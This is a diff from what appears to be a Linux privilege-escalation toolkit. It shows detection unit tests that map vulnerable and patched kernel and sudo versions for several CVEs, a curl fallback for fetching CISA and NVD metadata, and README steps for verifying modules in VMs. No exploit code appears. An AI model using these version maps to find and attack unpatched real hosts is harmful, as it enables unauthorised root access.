|
|
||||||
|
/* ── new v0.8.0 modules ──────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* sudo_chwoot: vulnerable sudo version range [1.9.14, 1.9.17p0].
|
||||||
|
* Vulnerability is independent of kernel — pure version gate.
|
||||||
|
* Test fingerprints below the range, in the range, and above. */
|
||||||
|
struct skeletonkey_host h_sudo_chwoot_vuln = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_chwoot_vuln.sudo_version, "1.9.16");
|
||||||
|
run_one("sudo_chwoot: sudo 1.9.16 (in range) → VULNERABLE",
|
||||||
|
&sudo_chwoot_module, &h_sudo_chwoot_vuln,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
struct skeletonkey_host h_sudo_chwoot_fixed = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_chwoot_fixed.sudo_version, "1.9.17p1");
|
||||||
|
run_one("sudo_chwoot: sudo 1.9.17p1 (fixed) → OK",
|
||||||
|
&sudo_chwoot_module, &h_sudo_chwoot_fixed,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
struct skeletonkey_host h_sudo_chwoot_old = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_chwoot_old.sudo_version, "1.9.13p1");
|
||||||
|
run_one("sudo_chwoot: sudo 1.9.13p1 (pre-chroot feature) → OK",
|
||||||
|
&sudo_chwoot_module, &h_sudo_chwoot_old,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* udisks_libblockdev: detect gates on udisksd binary + dbus
|
||||||
|
* socket presence + active polkit session. detect() does direct
|
||||||
|
* filesystem stat() calls (path_exists /usr/libexec/udisks2/udisksd)
|
||||||
|
* — it can't be host-fixture-mocked. GHA ubuntu-24.04 runners ship
|
||||||
|
* udisks2 by default, so detect returns VULNERABLE there. */
|
||||||
|
run_one("udisks_libblockdev: udisksd present on CI runner → VULNERABLE",
|
||||||
|
&udisks_libblockdev_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* pintheft: AF_RDS socket() in CI/container is almost never
|
||||||
|
* reachable (RDS module blacklisted on every common distro except
|
||||||
|
* Arch) → detect returns OK ("bug exists in kernel but unreachable
|
||||||
|
* from userland here"). */
|
||||||
|
run_one("pintheft: AF_RDS unreachable on CI runner → OK",
|
||||||
|
&pintheft_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── v0.9.0 modules ────────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* mutagen_astronomy: kernel 6.12 is above the 4.18.8 fix → OK */
|
||||||
|
run_one("mutagen_astronomy: kernel 6.12 above 4.18.8 fix → OK",
|
||||||
|
&mutagen_astronomy_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudo_runas_neg1: fixed sudo (1.9.13p1) → OK */
|
||||||
|
run_one("sudo_runas_neg1: sudo 1.9.13p1 above 1.8.28 fix → OK",
|
||||||
|
&sudo_runas_neg1_module, &h_fixed_sudo,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudo_runas_neg1: vuln sudo 1.8.31 (in range), but no (ALL,!root)
|
||||||
|
* grant for this test user → OK. detect() treats "no grant" as
|
||||||
|
* "not exploitable" (returns OK), not "missing precondition"
|
||||||
|
* (PRECOND_FAIL) — the user simply can't reach the bug from here. */
|
||||||
|
run_one("sudo_runas_neg1: vuln sudo, no (ALL,!root) grant → OK",
|
||||||
|
&sudo_runas_neg1_module, &h_vuln_sudo,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* tioscpgrp: kernel 6.12 above the 5.10 mainline fix → OK */
|
||||||
|
run_one("tioscpgrp: kernel 6.12 above 5.10 fix → OK",
|
||||||
|
&tioscpgrp_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* vsock_uaf: kernel 6.12 above 6.11 mainline fix → OK */
|
||||||
|
run_one("vsock_uaf: kernel 6.12 above 6.11 fix → OK",
|
||||||
|
&vsock_uaf_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* nft_pipapo: kernel 6.12 above 6.8 mainline fix → OK */
|
||||||
|
run_one("nft_pipapo: kernel 6.12 above 6.8 fix → OK",
|
||||||
|
&nft_pipapo_module, &h_kernel_6_12,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* nft_pipapo: kernel 5.4 predates the pipapo set type (5.6+) → OK */
|
||||||
|
run_one("nft_pipapo: kernel 4.4 predates pipapo (5.6+) → OK",
|
||||||
|
&nft_pipapo_module, &h_kernel_4_4,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── ptrace_pidfd (CVE-2026-46333) ───────────────────────────
|
||||||
|
* Version-pinned: predates-gate at pidfd_getfd's 5.6 introduction,
|
||||||
|
* then Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7. */
|
||||||
|
|
||||||
|
/* kernel 4.4 predates the pidfd_getfd vector (added 5.6) → OK */
|
||||||
|
run_one("ptrace_pidfd: kernel 4.4 predates pidfd_getfd (5.6) → OK",
|
||||||
|
&ptrace_pidfd_module, &h_kernel_4_4,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 5.5.99 is one below the 5.6 vector introduction → OK */
|
||||||
|
struct skeletonkey_host h_pidfd_5_5_99 =
|
||||||
|
mk_host(h_kernel_6_12, 5, 5, 99, "5.5.99-test");
|
||||||
|
run_one("ptrace_pidfd: 5.5.99 below pidfd_getfd (5.6) → OK",
|
||||||
|
&ptrace_pidfd_module, &h_pidfd_5_5_99,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 5.15.5 has the vector and is below every fix backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_pidfd_5_15_5 =
|
||||||
|
mk_host(h_kernel_6_12, 5, 15, 5, "5.15.5-test");
|
||||||
|
run_one("ptrace_pidfd: 5.15.5 (vector + below all fixes) → VULNERABLE",
|
||||||
|
&ptrace_pidfd_module, &h_pidfd_5_15_5,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.12.87 one below the trixie backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_pidfd_6_12_87 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 87, "6.12.87-test");
|
||||||
|
run_one("ptrace_pidfd: 6.12.87 (one below 6.12.88 backport) → VULNERABLE",
|
||||||
|
&ptrace_pidfd_module, &h_pidfd_6_12_87,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.12.88 exact trixie backport → OK via patch table */
|
||||||
|
struct skeletonkey_host h_pidfd_6_12_88 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 88, "6.12.88-test");
|
||||||
|
run_one("ptrace_pidfd: 6.12.88 (exact backport) → OK via patch table",
|
||||||
|
&ptrace_pidfd_module, &h_pidfd_6_12_88,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.1.0 is newer than every entry → mainline-inherited fix → OK */
|
||||||
|
struct skeletonkey_host h_pidfd_7_1_0 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||||
|
run_one("ptrace_pidfd: 7.1.0 above all backports → OK (mainline inherit)",
|
||||||
|
&ptrace_pidfd_module, &h_pidfd_7_1_0,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
|
||||||
|
* Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
|
||||||
|
* Assumes sudo is installed on the runner (as the other sudo_*
|
||||||
|
* rows do — detect() PRECOND_FAILs without a setuid sudo). */
|
||||||
|
|
||||||
|
/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
|
||||||
|
run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
|
||||||
|
&sudo_host_module, &h_vuln_sudo,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
|
||||||
|
* THIS CVE, so h_fixed_sudo can't be reused here) */
|
||||||
|
struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
|
||||||
|
run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
|
||||||
|
&sudo_host_module, &h_sudo_host_fixed,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
|
||||||
|
struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_host_old.sudo_version, "1.8.6");
|
||||||
|
run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
|
||||||
|
&sudo_host_module, &h_sudo_host_old,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
|
||||||
|
struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
|
||||||
|
strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
|
||||||
|
run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
|
||||||
|
&sudo_host_module, &h_sudo_host_1917,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
|
||||||
|
* Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
|
||||||
|
* 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
|
||||||
|
* whether the cifs.upcall userspace path is present; we drive that
|
||||||
|
* deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
|
||||||
|
* 0=absent) so the rows don't depend on cifs-utils being installed on
|
||||||
|
* the runner. Patched-kernel rows return OK before the probe, so they
|
||||||
|
* need no override. */
|
||||||
|
|
||||||
|
/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
|
||||||
|
struct skeletonkey_host h_ciw_61290 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
|
||||||
|
run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
|
||||||
|
&cifswitch_module, &h_ciw_61290,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||||
|
struct skeletonkey_host h_ciw_710 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||||
|
run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
|
||||||
|
&cifswitch_module, &h_ciw_710,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_ciw_61289 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
|
||||||
|
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
|
||||||
|
run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
|
||||||
|
&cifswitch_module, &h_ciw_61289,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
|
||||||
|
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
|
||||||
|
run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
|
||||||
|
&cifswitch_module, &h_ciw_61289,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||||
|
|
||||||
|
/* ── nft_catchall (CVE-2026-23111) ───────────────────────────
|
||||||
|
* Version-gated: predates-gate at catch-all set elements (~5.13),
|
||||||
|
* then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged
|
||||||
|
* user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows
|
||||||
|
* userns; h_kernel_5_14_no_userns denies it. */
|
||||||
|
|
||||||
|
/* 5.12.50 predates catch-all set elements (~5.13) → OK */
|
||||||
|
struct skeletonkey_host h_nca_512 =
|
||||||
|
mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test");
|
||||||
|
run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) → OK",
|
||||||
|
&nft_catchall_module, &h_nca_512,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 6.1.164 exact backport → OK via patch table */
|
||||||
|
struct skeletonkey_host h_nca_61164 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test");
|
||||||
|
run_one("nft_catchall: 6.1.164 (exact backport) → OK via patch table",
|
||||||
|
&nft_catchall_module, &h_nca_61164,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||||
|
struct skeletonkey_host h_nca_710 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||||
|
run_one("nft_catchall: 7.1.0 above all backports → OK (mainline inherit)",
|
||||||
|
&nft_catchall_module, &h_nca_710,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 6.1.163 (one below the 6.1.164 backport) + userns → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_nca_61163 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test");
|
||||||
|
run_one("nft_catchall: 6.1.163 + userns allowed → VULNERABLE",
|
||||||
|
&nft_catchall_module, &h_nca_61163,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.12.70 (one below the 6.12.71 backport) + userns → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_nca_61270 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
|
||||||
|
run_one("nft_catchall: 6.12.70 + userns allowed → VULNERABLE",
|
||||||
|
&nft_catchall_module, &h_nca_61270,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* same vulnerable kernel but unprivileged userns denied → PRECOND_FAIL */
|
||||||
|
struct skeletonkey_host h_nca_nouserns =
|
||||||
|
mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test");
|
||||||
|
run_one("nft_catchall: 6.1.163 but userns denied → PRECOND_FAIL",
|
||||||
|
&nft_catchall_module, &h_nca_nouserns,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
|
||||||
|
/* ── bad_epoll (CVE-2026-46242) ──────────────────────────────
|
||||||
|
* Pure version gate: vulnerable iff >= 6.4 (bug introduced
|
||||||
|
* 58c9b016e128) AND below the fix on-branch (stable backport
|
||||||
|
* 7.0.13; 7.1+ inherits via mainline). NO userns/CONFIG
|
||||||
|
* precondition — epoll is reachable by every unprivileged user, so
|
||||||
|
* there is deliberately no PRECOND_FAIL path to test. userns state
|
||||||
|
* of the base host is irrelevant here. */
|
||||||
|
|
||||||
|
/* 6.1.100 predates the vulnerable epoll path (introduced 6.4) → OK */
|
||||||
|
struct skeletonkey_host h_bep_61 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test");
|
||||||
|
run_one("bad_epoll: 6.1.100 predates the bug (introduced 6.4) → OK",
|
||||||
|
&bad_epoll_module, &h_bep_61,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 6.12.70 in range [6.4, 7.0.13) → VULNERABLE (no userns needed) */
|
||||||
|
struct skeletonkey_host h_bep_61270 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
|
||||||
|
run_one("bad_epoll: 6.12.70 in range → VULNERABLE (no userns gate)",
|
||||||
|
&bad_epoll_module, &h_bep_61270,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 7.0.5 on the 7.0 branch, below the 7.0.13 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_bep_705 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 0, 5, "7.0.5-test");
|
||||||
|
run_one("bad_epoll: 7.0.5 below the 7.0.13 backport → VULNERABLE",
|
||||||
|
&bad_epoll_module, &h_bep_705,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 7.0.13 exact backport → OK via patch table */
|
||||||
|
struct skeletonkey_host h_bep_70130 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 0, 13, "7.0.13-test");
|
||||||
|
run_one("bad_epoll: 7.0.13 (exact backport) → OK via patch table",
|
||||||
|
&bad_epoll_module, &h_bep_70130,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||||
|
struct skeletonkey_host h_bep_710 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||||
|
run_one("bad_epoll: 7.1.0 above the backport → OK (mainline inherit)",
|
||||||
|
&bad_epoll_module, &h_bep_710,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* ── ghostlock (CVE-2026-43499) ──────────────────────────────
|
||||||
|
* Pure version gate over a FIVE-branch backport table (fixed
|
||||||
|
* 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, 7.1+
|
||||||
|
* inherits mainline; introduced 2.6.39). Unlike bad_epoll's single
|
||||||
|
* entry, this exercises kernel_range_is_patched()'s "strictly newer
|
||||||
|
* than ALL entries" mainline-inherit clause: 6.13.x is newer than
|
||||||
|
* some entries but not all, so it must stay VULNERABLE. The 5.x/4.19
|
||||||
|
* LTS branches are affected with NO upstream fix. No userns/CONFIG
|
||||||
|
* precondition (CVSS PR:L, any local user). */
|
||||||
|
|
||||||
|
/* 2.6.30 predates PI-futex requeue (introduced 2.6.39) → OK */
|
||||||
|
struct skeletonkey_host h_ghl_2630 =
|
||||||
|
mk_host(h_kernel_6_12, 2, 6, 30, "2.6.30-test");
|
||||||
|
run_one("ghostlock: 2.6.30 predates PI-futex requeue → OK",
|
||||||
|
&ghostlock_module, &h_ghl_2630,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 5.10.200 — affected LTS with NO upstream stable fix → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_ghl_510 =
|
||||||
|
mk_host(h_kernel_6_12, 5, 10, 200, "5.10.200-test");
|
||||||
|
run_one("ghostlock: 5.10.200 (no upstream fix on 5.10) → VULNERABLE",
|
||||||
|
&ghostlock_module, &h_ghl_510,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.1.174 one below the 6.1.175 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_ghl_61174 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 1, 174, "6.1.174-test");
|
||||||
|
run_one("ghostlock: 6.1.174 below the 6.1.175 backport → VULNERABLE",
|
||||||
|
&ghostlock_module, &h_ghl_61174,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.1.175 exact backport → OK via patch table */
|
||||||
|
struct skeletonkey_host h_ghl_61175 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 1, 175, "6.1.175-test");
|
||||||
|
run_one("ghostlock: 6.1.175 (exact backport) → OK via patch table",
|
||||||
|
&ghostlock_module, &h_ghl_61175,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 6.12.85 one below the 6.12.86 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_ghl_61285 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 12, 85, "6.12.85-test");
|
||||||
|
run_one("ghostlock: 6.12.85 below the 6.12.86 backport → VULNERABLE",
|
||||||
|
&ghostlock_module, &h_ghl_61285,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 6.13.0 — newer than 6.12.86 but OLDER than 6.18.27/7.0.4, EOL
|
||||||
|
* branch with no fix → must stay VULNERABLE ("newer than ALL" test). */
|
||||||
|
struct skeletonkey_host h_ghl_6130 =
|
||||||
|
mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test");
|
||||||
|
run_one("ghostlock: 6.13.0 newer than some entries but not all → VULNERABLE",
|
||||||
|
&ghostlock_module, &h_ghl_6130,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 7.0.3 one below the 7.0.4 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_ghl_7003 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 0, 3, "7.0.3-test");
|
||||||
|
run_one("ghostlock: 7.0.3 below the 7.0.4 backport → VULNERABLE",
|
||||||
|
&ghostlock_module, &h_ghl_7003,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 7.0.4 exact backport → OK */
|
||||||
|
struct skeletonkey_host h_ghl_7004 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 0, 4, "7.0.4-test");
|
||||||
|
run_one("ghostlock: 7.0.4 (exact backport) → OK via patch table",
|
||||||
|
&ghostlock_module, &h_ghl_7004,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||||
|
struct skeletonkey_host h_ghl_710 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||||
|
run_one("ghostlock: 7.1.0 above all backports → OK (mainline inherit)",
|
||||||
|
&ghostlock_module, &h_ghl_710,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
/* ── coverage report ─────────────────────────────────────────
|
/* ── coverage report ─────────────────────────────────────────
|
||||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||||
* calls in main()) and warn for any module that was not touched
|
* calls in main()) and warn for any module that was not touched
|
||||||
|
|||||||
Binary file not shown.
@@ -83,13 +83,28 @@ def discover_cves() -> list[str]:
|
|||||||
|
|
||||||
|
|
||||||
def fetch_kev_catalog() -> dict[str, str]:
|
def fetch_kev_catalog() -> dict[str, str]:
|
||||||
"""Return {cve_id: date_added_yyyy_mm_dd} from CISA's KEV CSV."""
|
"""Return {cve_id: date_added_yyyy_mm_dd} from CISA's KEV CSV.
|
||||||
|
|
||||||
|
Python's urlopen sometimes times out on CISA's HTTP/2 endpoint
|
||||||
|
even though curl works fine; we try urlopen first with a 60s
|
||||||
|
budget, then fall back to shelling out to curl. Either way we
|
||||||
|
end up with the same CSV bytes."""
|
||||||
print(f"[*] fetching CISA KEV catalog ({KEV_URL})", file=sys.stderr)
|
print(f"[*] fetching CISA KEV catalog ({KEV_URL})", file=sys.stderr)
|
||||||
|
data: str | None = None
|
||||||
try:
|
try:
|
||||||
with urllib.request.urlopen(KEV_URL, timeout=30) as r:
|
with urllib.request.urlopen(KEV_URL, timeout=60) as r:
|
||||||
data = r.read().decode("utf-8", errors="replace")
|
data = r.read().decode("utf-8", errors="replace")
|
||||||
except urllib.error.URLError as e:
|
except urllib.error.URLError as e:
|
||||||
print(f"[!] KEV fetch failed: {e}", file=sys.stderr)
|
print(f"[!] urlopen failed ({e}); falling back to curl", file=sys.stderr)
|
||||||
|
if data is None:
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
data = subprocess.check_output(
|
||||||
|
["curl", "-fsSL", "--max-time", "60", KEV_URL],
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
).decode("utf-8", errors="replace")
|
||||||
|
except (subprocess.CalledProcessError, FileNotFoundError) as e:
|
||||||
|
print(f"[!] curl fallback also failed: {e}", file=sys.stderr)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
out: dict[str, str] = {}
|
out: dict[str, str] = {}
|
||||||
reader = csv.DictReader(io.StringIO(data))
|
reader = csv.DictReader(io.StringIO(data))
|
||||||
@@ -103,17 +118,37 @@ def fetch_kev_catalog() -> dict[str, str]:
|
|||||||
|
|
||||||
|
|
||||||
def fetch_nvd_cwe(cve: str) -> tuple[str | None, str | None]:
|
def fetch_nvd_cwe(cve: str) -> tuple[str | None, str | None]:
|
||||||
"""Return (cwe_id, description) from NVD. Returns (None, None) on miss."""
|
"""Return (cwe_id, description) from NVD. Returns (None, None) on miss.
|
||||||
|
|
||||||
|
Same urlopen-hangs-silently pattern as the CISA fetch: NVD's HTTP/2
|
||||||
|
endpoint sometimes leaves Python sockets in CLOSE_WAIT forever even
|
||||||
|
though the 30s timeout should have fired (observed on macOS 2026-05-24,
|
||||||
|
process hung 55+ minutes). We try urlopen first, then fall back to
|
||||||
|
curl --max-time which honors the wall clock reliably."""
|
||||||
url = NVD_URL.format(cve=cve)
|
url = NVD_URL.format(cve=cve)
|
||||||
req = urllib.request.Request(url, headers={"User-Agent": "skeletonkey-cve-metadata/1"})
|
req = urllib.request.Request(url, headers={"User-Agent": "skeletonkey-cve-metadata/1"})
|
||||||
|
blob = None
|
||||||
try:
|
try:
|
||||||
with urllib.request.urlopen(req, timeout=30) as r:
|
with urllib.request.urlopen(req, timeout=30) as r:
|
||||||
blob = json.loads(r.read().decode("utf-8"))
|
blob = json.loads(r.read().decode("utf-8"))
|
||||||
except urllib.error.HTTPError as e:
|
except urllib.error.HTTPError as e:
|
||||||
print(f"[!] NVD HTTP {e.code} for {cve}", file=sys.stderr)
|
print(f"[!] NVD HTTP {e.code} for {cve}", file=sys.stderr)
|
||||||
return None, None
|
return None, None
|
||||||
except (urllib.error.URLError, json.JSONDecodeError) as e:
|
except (urllib.error.URLError, json.JSONDecodeError, TimeoutError) as e:
|
||||||
print(f"[!] NVD parse error for {cve}: {e}", file=sys.stderr)
|
print(f"[!] NVD urlopen failed for {cve} ({e}); trying curl", file=sys.stderr)
|
||||||
|
if blob is None:
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
raw = subprocess.check_output(
|
||||||
|
["curl", "-fsSL", "--max-time", "20",
|
||||||
|
"-H", "User-Agent: skeletonkey-cve-metadata/1",
|
||||||
|
url],
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
blob = json.loads(raw.decode("utf-8"))
|
||||||
|
except (subprocess.CalledProcessError, FileNotFoundError,
|
||||||
|
json.JSONDecodeError) as e:
|
||||||
|
print(f"[!] NVD curl fallback failed for {cve}: {e}", file=sys.stderr)
|
||||||
return None, None
|
return None, None
|
||||||
vulns = blob.get("vulnerabilities") or []
|
vulns = blob.get("vulnerabilities") or []
|
||||||
if not vulns:
|
if not vulns:
|
||||||
|
|||||||
+99
-40
@@ -27,18 +27,28 @@ To skip boxes you don't need (save disk):
|
|||||||
./tools/verify-vm/verify.sh nf_tables
|
./tools/verify-vm/verify.sh nf_tables
|
||||||
```
|
```
|
||||||
|
|
||||||
What that does:
|
What that does (two-phase model — install kernel, then verify):
|
||||||
|
|
||||||
1. Reads `tools/verify-vm/targets.yaml`: finds `nf_tables` → box
|
1. Reads `tools/verify-vm/targets.yaml`: finds `nf_tables` → box
|
||||||
`generic/ubuntu2204` + kernel pin `linux-image-5.15.0-43-generic`.
|
`generic/ubuntu2204` + `mainline_version: 5.15.5`.
|
||||||
2. `vagrant up skk-nf_tables` (provisions on first call, resumes on
|
2. `vagrant up skk-nf_tables` if not already running (each module gets
|
||||||
subsequent).
|
its own machine for isolation).
|
||||||
3. Installs the pinned vulnerable kernel via `apt`, reboots.
|
3. **Prep phase** — runs every prep provisioner that applies:
|
||||||
4. Mounts the local repo at `/vagrant`, runs `make`, then runs
|
- `pin-kernel-<pkg>` if `kernel_pkg` is set (apt install + GRUB_DEFAULT pin)
|
||||||
`skeletonkey --explain nf_tables --active`.
|
- `pin-mainline-<ver>` if `mainline_version` is set (download from
|
||||||
5. Parses the `VERDICT:` line, compares against `expect_detect` from
|
kernel.ubuntu.com/mainline, dpkg -i, GRUB_DEFAULT pin)
|
||||||
targets.yaml, emits a JSON verification record on stdout.
|
- `module-provision-<name>` if `provisioners/<name>.sh` exists
|
||||||
6. Suspends the VM (`vagrant suspend`) — instant resume next run.
|
(build vulnerable sudo from source, drop polkit allow rule,
|
||||||
|
install udisks2, etc.)
|
||||||
|
4. **Conditional reboot** — `vagrant reload` if `uname -r` doesn't
|
||||||
|
match the target kernel after the prep phase. Confirms post-reboot
|
||||||
|
kernel actually landed on the target; warns if it didn't.
|
||||||
|
5. **Verify phase** — `build-and-verify` provisioner: rsync the source,
|
||||||
|
`make`, run `skeletonkey --explain <module> --active`.
|
||||||
|
6. Parses the `VERDICT:` line, compares against `expect_detect` from
|
||||||
|
targets.yaml, appends a JSON verification record to
|
||||||
|
`docs/VERIFICATIONS.jsonl`.
|
||||||
|
7. Suspends the VM (`vagrant suspend`) — instant resume next run.
|
||||||
|
|
||||||
Lifecycle flags:
|
Lifecycle flags:
|
||||||
|
|
||||||
@@ -54,62 +64,107 @@ Lifecycle flags:
|
|||||||
```
|
```
|
||||||
|
|
||||||
Shows the (module, box, target kernel, expected verdict, notes) matrix
|
Shows the (module, box, target kernel, expected verdict, notes) matrix
|
||||||
